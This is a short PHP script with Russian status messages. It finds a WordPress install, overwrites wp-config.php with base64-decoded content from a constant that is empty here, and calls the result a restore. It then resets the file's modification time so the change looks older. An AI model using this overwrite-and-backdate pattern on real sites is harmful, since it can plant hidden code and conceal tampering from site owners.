define ('CURRENTDIR',getcwd()); define ('CODE',''); if (!($filepath = detectWProotDir())){ $filepath = getcwd().'/wp-config.php'; } else{ $filepath = $filepath.'/wp-config.php'; } echo $filepath . PHP_EOL; if(file_exists($filepath)){ $newmtime = filemtime($filepath) + 60; } else { $newmtime = time(); } file_put_contents($filepath, base64_decode(CODE)); echo 'wp-config.php восстановлен' . PHP_EOL; if(file_exists($filepath)){ if(touch($filepath, $newmtime)){ echo 'touch выполнен' . PHP_EOL; } } function detectWProotDir() { if ( file_exists( CURRENTDIR . '/wp-config.php' ) ) { return CURRENTDIR; } $normalizePath = preg_replace( '~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR ); if ( file_exists( $normalizePath . '/wp-config.php' ) ) { return $normalizePath; } return null; }